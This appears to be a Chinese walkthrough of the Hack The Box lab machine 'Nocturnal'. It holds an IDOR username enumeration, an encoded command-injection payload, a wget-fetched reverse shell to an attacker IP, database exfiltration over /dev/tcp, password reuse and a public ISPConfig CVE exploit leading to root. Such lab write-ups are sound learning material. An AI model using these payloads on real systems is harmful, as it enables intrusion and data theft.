Nocturnal

https://app.hackthebox.com/machines/Nocturnal

受害者ip：10.10.11.64

攻击者ip：10.10.16.5

端口扫描

nmap -sV -sC -Pn -p- --min-rate=500 10.10.11.64

echo "10.10.11.64 nocturnal.htb" >> /etc/hosts 

子域名扫描

wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u "http://nocturnal.htb/" -H "Host: FUZZ.nocturnal.htb" -t 500 --hc 302,400

目录扫描

dirsearch -u http://nocturnal.htb/

80页面可以上传word，pdf等文档

注册页面如果用户名存在则提示Failed to register user

注册admin失败了，说明存在admin用户，尝试弱口令爆破一下

随便注册一个账号登录进去，上传pdf，成功上传后给了一个路径，访问后就是直接下载文件

nocturnal.htb/view.php?username=xxs&file=shell5.0.pdf

修改file参数只会提示无效的文件的扩展。 

接下来修改username参数，修改不存在的用户名会提示用户没有找到。修改成存在的用户如admin，可以直接看到他可以下载的文件，接下来可以对该参数进行爆破用户名

爆破用户名

ffuf -u "http://nocturnal.htb/view.php?username=FUZZ&file=shell5.0.pdf/" -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -H "Cookie: PHPSESSID=2ainut7iecp2dpcjgrst6h6itp" -fs 2985            

http://nocturnal.htb/view.php?username=amanda&file=privacy.odt

下载文件privacy.odt

使用odt2txt 命令提取纯文本内容

发现账号密码amanda:arHkG7HAI68X8s1J

使用密码登录amanda并下载到备份文件，解压也是一样的密码

审计admin.php发现过滤不完全，可以导致password 直接拼接到 command 

使用编码绕过：password=%0Abash%09-c%09"id"%0A&backup=

直接执行反弹shell命令会报错，下载一个包含反弹shell命令的文件再让去他执行此文件

shell.sh内容            bash -i >& /dev/tcp/10.10.16.59/1111 0>&1            password=%0abash%09-c%09"wget%09http://10.10.16.59/shell.sh"&backup=            password=%0abash%09-c%09"bash%09shell.sh"%0a&backup=            

反弹成功

/var/www/nocturnal_database中找到数据库文件

cat nocturnal_database.db > /dev/tcp/10.10.16.59/2222            nc -lnvp 2222> nocturnal_database.db            

md5解密

tobias:slowmotionapocalypse

55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

ssh连接tobias

ssh [email protected]

ss -tuln发现还开启了8080端口

端口转发

ssh [email protected] -L 8080:localhost:8080

进入后是ispconfig的页面

在源代码中看到版本是3.2

找到了CVE-2023-46818

https://github.com/bipbopbup/CVE-2023-46818-python-exploit

条件是要有账号密码，目前已知的账号密码有

tobias:slowmotionapocalypse

amanda:arHkG7HAI68X8s1J

ISPConfig默认账号密码admin:admin

经过尝试，tobias的密码可以复用

admin：slowmotionapocalypse

命令一把梭获得root

git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git            cd CVE-2023-46818-python-exploit            python3 exploit.py http://127.0.0.1:8080/ admin slowmotionapocalypse            cat /root/root.txt            

原文始发于微信公众号（王之暴龙战神）：Nocturnal